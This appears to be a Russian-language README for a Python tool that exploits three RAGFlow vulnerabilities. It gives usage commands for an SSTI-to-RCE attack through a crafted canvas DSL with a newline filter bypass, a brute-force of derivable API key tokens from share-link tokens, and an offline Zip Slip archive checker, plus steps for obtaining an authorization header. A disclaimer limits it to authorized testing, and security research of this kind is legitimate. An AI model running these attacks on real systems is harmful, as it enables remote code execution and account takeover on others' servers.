
Инструмент аудита трёх уязвимостей RAGFlow (CVE-2026-28797 / CVE-2026-24770 / CVE-2025-69286)
Инструмент аудита трёх уязвимостей RAGFlow (CVE-2026-28797 / CVE-2026-24770 / CVE-2025-69286)
Только стандартная библиотека Python, без сторонних зависимостей, работает на Python 3.8+.
python3 ragflow-audit.py [-h] {ssti,zipslip,apikey} ...
python3 ragflow-audit.py ssti --url http://TARGET:9380 --auth "AUTH_HEADER" [--component StringTransform|Message] [--newline]
--url:адрес веб-интерфейса RAGFlow--auth:полное значение заголовка Authorization из ответа на вход--component:целевой компонент, по умолчанию StringTransform--newline:использовать перевод строки для обхода полезной нагрузки (обход регулярной проверки _is_jinjia2)Процесс: формирование вредоносного canvas DSL -> POST /v1/canvas/set для создания холста -> POST /v1/canvas/completion для запуска выполнения -> сопоставление uid= в выводе для определения успешности RCE.
python3 ragflow-audit.py zipslip --zip evil.zip [--extract-dir /tmp/out]
Офлайн-проверка записей zip с пометкой трёх типов опасности: обход пути (..), абсолютные пути, символические ссылки.
python3 ragflow-audit.py apikey --beta "分享链接token" --node "攻击者user_id后12位"
Восстанавливает uuid1-субъект из beta-токена публичной ссылки для совместного доступа, перебирает time_low и выводит кандидатные токены. При реальной эксплуатации каждый кандидатный токен по очереди проверяется вызовом API, требующего аутентификацию (200 — успех / 401 — продолжать).
Учётные данные входа RAGFlow находятся в заголовке Authorization из ответа на вход, а не в access_token из тела ответа. access_token в теле — это просто UUID, при вызове API он даёт 401.
curl -i -X POST http://TARGET:9380/v1/user/login \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"<RSA加密后的密码>"}'
Возьмите значение заголовка ответа authorization: как параметр --auth.
Обратите внимание: пароль при регистрации/входе должен быть предварительно зашифрован RSA (открытый ключ находится в /ragflow/conf/public.pem, PKCS1_v1_5, шифруется открытый текст после base64); передача пароля открытым текстом приведёт к ошибке.
Данный инструмент предназначен только для авторизованного тестирования безопасности и исследования уязвимостей. Последствия использования инструмента против систем других лиц без авторизации несёт сам пользователь.
| CVE | Тип | Затронутые версии | Исправленная версия |
|---|
| CVE-2026-28797 | SSTI (компоненты StringTransform/Message) | < 0.25.0 (NVD: 0.24.0 and prior) | 0.25.0 (исправление песочницы, объединено 2026-03-02) |
| CVE-2026-24770 | Zip Slip в парсере MinerU | < 0.23.1 | 0.23.1 |
| CVE-2025-69286 | Выводимый API key (uuid1 + tenant_id) | < 0.22.0 | 0.22.0 |